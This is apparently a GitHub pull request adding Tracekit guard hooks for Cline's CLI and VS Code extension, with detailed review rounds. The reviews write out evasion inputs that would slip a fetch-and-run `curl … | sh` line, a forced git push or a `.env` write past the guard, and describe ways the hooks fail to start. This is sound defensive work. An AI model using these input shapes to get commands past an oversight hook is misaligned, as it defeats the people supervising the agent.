Repository navigation
Coding agents: hooks for Cline, CLI and VS Code extension (#695) - #732
Conversation
…s#695) Tracekit's hook files for PreToolUse, PostToolUse, TaskStart, TaskComplete, TaskCancel and UserPromptSubmit, in ~/Documents/Cline/Hooks (--project: .clinerules/hooks), the folders Cline's CLI and VS Code extension both read. A block answers {"cancel": true, ...} at exit 0, and each file answers the cancel itself when the hook prints nothing. run_commands, read_files, editor, apply_patch and fetch_web_content are decided on every command, file or URL in any input shape Cline takes. The extension's calls carry no id and are paired by tool and arguments. Recorded payloads from Cline CLI 3.0.74 and the VS Code extension 4.1.26 in tests/data/harness/cline.json. Fixes Cygnux-Labs#695 Signed-off-by: Khushi Jain <jainkhushibts@gmail.com>
…TaskCancel in the limits Signed-off-by: Khushi Jain <jainkhushibts@gmail.com>
Signed-off-by: Khushi Jain <jainkhushibts@gmail.com>
…pproval goes on in it Signed-off-by: Khushi Jain <jainkhushibts@gmail.com>
Signed-off-by: Khushi Jain <jainkhushibts@gmail.com>
Signed-off-by: Khushi Jain <jainkhushibts@gmail.com>
… the docs say what the live check covered Signed-off-by: Khushi Jain <jainkhushibts@gmail.com>
Signed-off-by: Khushi Jain <jainkhushibts@gmail.com>
LoopGlitch26
left a comment
There was a problem hiding this comment.
Thanks for the recorded payloads from both runtimes and the quick CodeQL fix: the new pattern is linear (about 1 ms on 64 KiB adversarial inputs, where the old one took seconds at 57 bytes). I read 363642e against Cline 4.1.26's source. Unreadable shapes cancel the call, a decoy file_path is handled for read_files, editor and fetch, subagents are hooked, and install never overwrites the person's hook files. Two mappings have to change before this merges, plus some smaller things.
Must fix
- A
commandwithoutargsis decided as one quoted word. Cline runs{command: X}with noargskey as a full command line in a shell (bash.tsL1153, and its testnormalizeRunCommandsInput({command: "ls"})gives["ls"])._cline_command(agent_hooks.pyL242-245) shlex-quotes X into a single word instead, so{"command": "git push --force origin main"}is decided as'git push --force origin main', a word no rule reads as a push. The same happens insidecommands: [{command: …}]. Also,{"command": "curl -s https://x.example/i.sh | sh", "args": [1], "cmd": "echo ok"}runs the curl line (Zod drops the badargs) while the hook decidesecho ok. With noargskey, decide the string as written; withargsthat isn't a list of strings, decidecommand, nevercmd. Add fail-before tests for both. - Decide each entry of
commandson its own. Cline runs each entry in its own shell, in parallel, merging only heredocs. Joining them with newlines (L453) lets one entry's open quote or trailing\hide the next in the hook's reading:{"commands": ["echo 'x", "git push --force origin main", "'"]}and["echo ok \\", "git push --force origin main"]both read as a singleecho. Add a test for each.
Should fix
- MCP tools are named
<server>__<tool>(name-transform.ts) and pass through unchanged (L483), so the pack'smcp__*class and its rules never see them. Map them tomcp__<server>__<tool>, as goose's are. - In the CLI, any other hook, a repo's
.clinerules/hooksincluded, can answeroverrideInput, and the runtime applies it after Tracekit decided. Add a limits row, as Crush has. apply_patchpaths are trimmed with Python's.strip()(L472), which keeps U+FEFF; Cline's JStrim()removes it, so*** Add File: /w/.envwrites/w/.envbut is decided as.env. UseJS_TRIM, with a test.- A Tracekit run covers one prompt, not the session. Each prompt goes through
agent.continue, which fires TaskStart and TaskComplete, and TaskComplete becomes SessionEnd (L690). Fix the docs' "run =rootSessionIdsession", or keep the run open across turns. - A cancel drops the rest of its batch: calls already decided
allownever run and get no PostToolUse, so on the extension's tool-and-arguments pairing a retried identical call's result pairs with the stale decision. Fix the pairing, or add a limits row. - Windows CLI:
.ps1hooks run withpowershell -File, without-ExecutionPolicy Bypassor-NoProfile, so under the default policy the hook never starts and every call runs (the extension passes Bypass). Doctor should check for this, with a limits row. - TK-F015 doesn't match deleting
.clinerules/or~/Documents/Clineas a whole folder.
Small
hooksEnabledalready defaults to true in 4.1.26, so the docs' line about init reminding you to turn Hooks on is misleading.- The shell cap on
TRACEKIT_APPROVAL_WAITmisses valuesfloat()takes (1e3,1_000,inf), which outlast the extension's 30 s timeout. Cap it in Python. - The
"[object Object]"check misses results with several entries. new_textisn't read as content.- PostToolUse and the Task events in
cline.jsonare synthesized. Record real ones if you can, or say they're synthesized in the file.
I'll set the coding pack's final version at merge (#605 and others move it too). CI was green so far when checked.
- run_commands: `command` with no string `args` is the line as written (never `cmd`), and each of several commands is decided on its own, as Cline runs each in its own shell (a here-doc joined to its delimiter's line); the v2 engine reads each entry of a `commands` list on its own - MCP tools <server>__<tool> are mcp__<server>__<tool> - apply_patch paths trimmed as JS trim() does (U+FEFF too) - editor's new_text is the call's content - the approval wait is capped in Python, as the v2 hook reads it - every "[object Object]" result is no result - doctor warns when PowerShell's execution policy keeps the CLI's hooks from starting; TK-F015 flags deleting .clinerules or a Cline folder - docs: a run is one task; limits rows for overrideInput, a cancelled batch, the execution policy and the v1 approval timeout; no Hooks reminder Signed-off-by: Khushi Jain <jainkhushibts@gmail.com>
…lback included; the editor fixtures' content Signed-off-by: Khushi Jain <jainkhushibts@gmail.com>
Signed-off-by: Khushi Jain <jainkhushibts@gmail.com>
LoopGlitch26
left a comment
There was a problem hiding this comment.
Thanks, that's most of it at 47892ca (code in 363f3a9). Fixed:
- a whole command line decided as written;
commandovercmd;- MCP names;
- the
overrideInput, cancelled-batch and run-per-task rows; - JS trimming;
- the PowerShell policy check in doctor;
- the CodeQL pattern;
- the small ones.
What's left is in how several commands are read:
- Decide on both readings, not only per entry. Moving the per-entry reading into
Engine._parse(engine.py L399-414) is right for Cline and for the OpenAI AgentsShellTool(each entry its own subprocess). But it reaches every tool whose arguments carry acommandslist, and LangChain'sShellTooljoins its entries with;in one bash (BashProcess.run). There, per-entry reading is looser than today:["g=git", "$g push --force origin main"]resolves to a push when read joined, but read one entry at a time$gis unknown and the push rules don't see it. Keep today's joined reading and add the per-entry one, and decide on what either finds. Add a test with that pair and one where per entry finds what the joined reading hides. - Live constraints read the list joined.
constraints.pyL71 imports_shell, which still joins with newlines, so for{"commands": ["echo ok \\", "git push origin main"]}the constraint facts saypush: False(with"touch notes.txt"as the second entry,write: False). Giveconstraints.shellthe same two readings, with a test against a live "don't push" constraint. - An object inside a here-doc run. In
{"commands": ["cat <<EOF", {"command": "git push --force origin main"}, "EOF"]}, the hook turns the object into a string and joins it into the here-doc block (L251), so it's decided ascatwith here-doc text. Cline joins only plain strings into a here-doc (coalesceAdjacentStringHeredocs,typeof command === "string") and runs the object in a shell of its own. An object entry should end the run of strings, as an argv entry already does. Test it. - v1's approval wait outlasts Cline's. The v2 cap is in, but the v1 hook waits up to
approval_timeout_s(120 s by default) for a held call, while the extension gives a hook 30 s and the CLI 120 s, and then runs the call. Cap the v1 wait for Cline below the runtime's timeout, or haveinit --agent clinerequire--v2. Extend the limits row to the CLI.
Optional: per-entry parsing costs about twice the joined parse on a 64 KiB list of tiny entries (about 0.5 s against 0.25 s), still inside MAX_WORK. Charging a small fixed cost per entry would keep it near today's.
#605 changes engine.py too and merges first, so please merge main after it. I'll set the coding pack's version then.
|
#605 has merged, so please merge main into this branch. It changed |
Signed-off-by: Khushi Jain <jainkhushibts@gmail.com> # Conflicts: # eval/results/e17_policy_corpus.json # eval/results/e21_policy_robustness.json # eval/results/e21_robustness.json # tracekit/policy2/packs/coding.yaml
…engine and live constraints; an object entry ends a here-doc run; the v1 wait capped under Cline Signed-off-by: Khushi Jain <jainkhushibts@gmail.com>
…ged) Signed-off-by: Khushi Jain <jainkhushibts@gmail.com>
|
Thanks. Main is merged (6fc8e9f; #605 moved TK-F009 and TK-F015 into
I left out the optional per-entry charge for now; happy to add a fixed cost per entry if you'd like the budget to stay near today's. On my fork the hook tests pass on Windows 3.13 and Ubuntu 3.9, and the evals show only the new policy hash. The full suite is still running; I'll post here if it finds anything. |
|
Thanks, all four are in at 47722b4: both readings in the engine and in live constraints, an object entry ending a here-doc run, and the v1 wait capped under Cline's timeout. The merge with #605 is clean and the pack is at v2-81. One thing left: the merge kept main's |
Signed-off-by: Khushi Jain <jainkhushibts@gmail.com>
|
Thanks! The eval hashes were in 4c5f6f3, pushed just after 47722b4: e17_policy_corpus, e21_robustness and e21_policy_robustness, with only the policy hashes changed. I took them from my fork's offline-evals run of the merged branch. 249dc97 adds the limits row for the long-list trade-off: a commands list read both ways shares one parse budget, so about 13,000 tiny entries spend it and ask, with splitting the list into several calls as the remedy. |
|
CI on 249dc97 has two red jobs, and I don't think either comes from this change:
Could you re-run those two jobs when you get a chance? |
|
Agreed on both: neither path touches the commands code, and your alternating E9 runs put this head level with main. I re-ran the two jobs. |
Cygnux-Labs#605/Cygnux-Labs#732 rewrote parts of `engine.py` and `shell.py` under this branch. The merge keeps both sides: main's `commands_each` and `joined_readings`, and its `_parse_one` split that reads a `commands` list entry by entry, with the branch's `fold` threaded through that split -- each entry is its own line to a shell, so it folds by its own liveness rather than the joined list's. `shell.py` merges with no conflict. The one conflict is `_shell`'s definition, which main redefined and this branch extends with `fold`. The resolution is main's body with the parameter kept. `fold.py` and `shell.py` are unchanged from the reviewed head; `engine.py` and `tests/test_policy2.py` here carry the fix as reviewed.
…llel asks, tracekit last, gateway listing errors (#753) * Integrations: MCP big lists and input-required rounds, LangChain parallel asks, tracekit last, gateway listing errors - MCP client (#685): a list page over half a signer frame is recorded as its digest (result_field, as the gateway does), so list_tools no longer fails with quota_exceeded; mcp's own re-list inside call_tool (validate_tool_result) is no longer recorded as input the model read. - MCP input-required rounds (#718): a pending round is keyed by the asyncio task driving the call, so a server that reuses request_state can't move one call's result under another's decision; a call the task leaves between rounds completes with the input request it returned. - LangChain (#687): a call whose approval is already answered doesn't pause again, so in a tracekit_tool_node with two asks the approved call runs on resume (16 of 16 on invoke and ainvoke); the call still waiting is refused. - tracekit last: OpenCode, Kilo, goose and Antigravity runs finish at the signer's idle timeout, not when the session ends. - MCP gateway: the repeated-cursor error says what happened; a listing past its shared 600 s budget names the upstream; docs/mcp-gateway.md documents the budget. * LangChain: a ToolNode decides every call of a message before any runs, so no call runs in a pass that then pauses ToolNode runs a message's calls in one node, which LangGraph runs again from its start on each resume. A call that ran in a pass that then paused ran again or read as refused: an allowed sibling of one ask ran twice, and with three or more asks a call that ran was refused on the next pass while an approved one never ran. A gated ToolNode (tracekit_tool_node, or one instrument() wired) now decides a pass's calls together first (TracekitMiddleware._pass) and pauses once, before any runs, while an approval is unanswered; the payload's `approvals` lists every waiting one. On resume each allowed or approved call runs once and each rejected or unanswered one is refused. The hook is ToolNode's class-level node function and acts only while the node's wrapper is the gate's, so tracekit why's replay copy (its own wrapper) runs no real tool. Replaces the lean note. * tracekit last: a Cline run finishes when its task completes (#732 added Cline) * LangChain: a tool's own interrupt() gets the person's answer; an executor's call stays the executor's LangGraph pairs resume values with a node's interrupt() calls by order. Once an approval was answered the gate stopped pausing, so a tool that asked the person itself got the approval's resume value and ran without asking. The gate now pauses for an ask in every pass of its node, answered or not (a ToolNode pass once, when any call asks), so a tool's interrupt() always comes after it. A call whose tool paused the run after its consume goes on, consumed once, on resume (main refused it as TK-APPROVAL-CONSUMED); in a held ToolNode pass, calls that already ended are given back, not decided, asked, run or recorded again. Both are kept in memory; docs and limits say what a resume in another process does. _pass leaves a tool executor's calls to the executor. The MCP gateway's listing timeout also catches concurrent.futures.TimeoutError, a separate class before Python 3.11. * LangChain: back to main's parallel-ask behaviour; the redesign moves to its own PR The multi-call ToolNode changes (#687) keep exposing new cases (RetryPolicy re-raising a kept exception, async sibling cancellation), so this PR keeps main's langchain.py, autowire.py, their tests and doc. The held-pass design moves to a draft PR for after 1.7.0. docs/limits.md says what main does with several asks in one ToolNode. The fork-replay leak found earlier came from this branch's own hook and isn't on main. * Limits: under ainvoke, a repeated approval can leave another approved call denied and unrun * Review fixes: MCP rounds left waiting stay gaps, listing timeouts, LangGraph row - MCP: a multi-round call its task leaves (the elicitation callback fails, the rounds run out, the caller moves on) is never completed later; it was completed "ok" with its input request when the task made another call, though its caller had got an exception. It ends as the signer's decided_not_completed gap at run close, as the docs say. - MCP gateway: only the listing's own time running out (Upstreams._run's wait, now UpstreamTimeout) is reported as the listing's budget; a TimeoutError the upstream call or the reconnect raises keeps the upstream error and its advice. - Tests: a round's input requests over half a frame are recorded as a digest. - Limits: the LangGraph parallel-asks row says what happens under invoke and ainvoke alike, with what-to-dos checked against the code; a row for MCP rounds sent from different tasks. Signed-off-by: LoopGlitch26 <53336715+LoopGlitch26@users.noreply.github.com> * MCP gateway: a call that ends as its wait runs out gives its own answer; a reconnect with no session names the upstream; MCP docs say which decisions wait and which calls end a waiting one Signed-off-by: LoopGlitch26 <53336715+LoopGlitch26@users.noreply.github.com> * MCP gateway: a call to an upstream that can't be opened again says nothing was sent; a call that ends as its wait is cancelled gives its answer; docs on the reconnect's time and which decisions wait Signed-off-by: LoopGlitch26 <53336715+LoopGlitch26@users.noreply.github.com> --------- Signed-off-by: LoopGlitch26 <53336715+LoopGlitch26@users.noreply.github.com>
|
Thanks for the careful reviews on this one, @LoopGlitch26. Each round caught something real. |
|
Thanks for working through each round. If you'd like a next one close to this code, #771 turns the ValueError your Cline mapping raises into its own exception, so |
|
Thanks, I'll take #771. |
Main has Cygnux-Labs#605 (policy2 and the coding pack, now 2026.11-v2-81) and Cline's hooks (Cygnux-Labs#732) in the same files: both harnesses are kept in AGENT_NAMES, PAIRED, config_path, the docstrings, the coding-agents table and the TK-F009/TK-F015 paths. The pack's version stays main's (set at merge); E17/E21 carry the new policy hashes (decisions unchanged). Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Signed-off-by: aj-codespy <ajayush2301@gmail.com>
* tracekit-setup: the cline and codebuddy agents Tracekit's init takes --agent cline (Cygnux-Labs/Tracekit#732) and --agent codebuddy (Cygnux-Labs/Tracekit#757): the skill names both among the agents it sets up, so it no longer tells the operator they aren't supported. Signed-off-by: LoopGlitch26 <53336715+LoopGlitch26@users.noreply.github.com> * tracekit-setup: the gptme, openhands and copilot agents Tracekit's init takes --agent gptme (Cygnux-Labs/Tracekit#778), --agent openhands (Cygnux-Labs/Tracekit#662) and --agent copilot (Cygnux-Labs/Tracekit#782), which land with cline and codebuddy in its first policy merge train: the skill names all five among the agents it sets up. Signed-off-by: LoopGlitch26 <53336715+LoopGlitch26@users.noreply.github.com> --------- Signed-off-by: LoopGlitch26 <53336715+LoopGlitch26@users.noreply.github.com>
Conflicts with Cline's hooks (Cygnux-Labs#732) resolved by keeping both harnesses: the agent list, the tool mapping, normalise, the reply, config_path and the installer; TK-F009 and TK-F015 read Cline's and Copilot's folders; the README badge counts 36 and init takes another of 14. The eval results are main's, recorded again in the next commit. Signed-off-by: LoopGlitch26 <53336715+LoopGlitch26@users.noreply.github.com>
Carries Cygnux-Labs#731 onto main (5d88184): Cygnux-Labs#732 took v2-81 and the open Cygnux-Labs#761 and Cygnux-Labs#767 claim the next numbers, so this takes v2-84; the final number is settled at merge. E17 is 853/853 with 1 false alarm in 901; E21's held-out pool is 259/420 on default and 286/420 on strict, and strict holds 47 of E17's 901 benign calls. The blind pools don't move. The held-out table in docs/evaluation.md quotes the new rows; the machine, engine-version and latency fields stay main's. Signed-off-by: LoopGlitch26 <53336715+LoopGlitch26@users.noreply.github.com>
What and why
Fixes #695.
tracekit init --agent cline(dev and--v2) installs Tracekit's hooks for Cline, for both the CLI and the VS Code extension. Cline runs a hook as an executable file named after its event, so Tracekit writes one file per event (PreToolUse,PostToolUse,TaskStart,TaskComplete,UserPromptSubmit;<event>.ps1on Windows, the only form the extension runs) intoDocuments/Cline/Hooks, or.clinerules/hookswith--project. It never replaces a hook file that isn't Tracekit's.run_commandsmaps toBash(every command line, in onecommand),read_filestoRead(paths, one per file), andeditortoWritewhen it creates a file (noold_textorinsert_line), else toEdit.apply_patchmaps toEdit(every file the patch names) andfetch_web_contenttoWebFetch(every URL). Each is decided on its own arguments only, never a decoyfile_pathbeside them, across all the input shapes Cline's schemas accept. An input Tracekit can't read is refused, not allowed.{"cancel": true, "errorMessage": ...}at exit 0. Each hook file answers a cancel when the hook prints nothing, and capsTRACEKIT_APPROVAL_WAITat 20 s under Cline's hook timeouts.sessionContext.rootSessionId(the sessioncline --idresumes); the extension's ontaskId. Only the root agent'sTaskCompleteends a run, andTaskCanceldoesn't, so a held call can be approved and its task resumed in the same run."[object Object]", which is read as no result. Both are indocs/limits.md.initwrites to the Documents folder the OS reports (XDG on Linux, the registry on Windows) and warns when the CLI's~/Documentsdiffers. It also reminds that Hooks must be on in the extension's settings.doctorlists the hook files and warns about a second Tracekit copy.TK-F009/TK-F015now flag an agent's write to Cline's hooks and settings (~/.cline,.cline/hooks,.clinerules/hooks,Documents/Cline/Hooks). The coding pack's hash changed with them;eval/resultshas the new hash, and no detection result changed.tests/data/harness/cline.jsonhas realPreToolUsepayloads, three from the CLI and three from the extension (userIdredacted). Docs:coding-agents.md,limits.md,integrations.md,support.mdand the README.The capture findings behind these choices are in #695.
How I ran it as a user
On a fork's Actions runner (Ubuntu), with this branch installed by
pip install "tracekit-ai @ git+https://github.com/khushi-git-7/Tracekit@agent/issue-695", thentracekit init --dev --v2 --agent cline(--projectfor the extension). I ran four tasks through real Cline, against a scripted OpenAI-compatible model:A
curl … | shcommand (TK-D002): cancelled, nothing ran.A download piped into a script (
TK-A046): held, did not run. Thentracekit approvals approve <id>, and the task resumed (cline --id <session>on the CLI; Resume Task in the extension). The approved call ran in the same run:Read a file, then create one: both ran.
tracekit last --open, with this output on the CLI:and this on the VS Code extension 4.1.26 (run headless with
@vscode/test-electron):Not run live on Windows or macOS; the hook tests also run on Windows (3.13) and Ubuntu (3.9).
Checklist
make checkpasses (lint, tests, build);make test-tstoo ifsdk/typescript/changed (pyflakes and the full test suite on Ubuntu 3.12: 4989 passed, 398 skipped, plus the hook tests on Windows 3.13 and Ubuntu 3.9, on my fork's Actions; I didn't runmake build)CHANGELOG.md)docs/threat-model-laptop.md,docs/threat-model-server.md)git commit -s, seeCONTRIBUTING.md)Security invariants
approval identity) is newly trusted by the signer or verifier
Evidence format
core.sig_message,ledger.make_record, the v1 schema, howthe verifier treats existing bundles) or the published v2 format
docs/sample/andtests/fixtures/) still verify, and the change is called out above#710 (Copilot) touches the same lists in
agent_hooks.py, the docs tables and the policy patterns, so whichever lands second will need a small merge; I'm happy to do it here.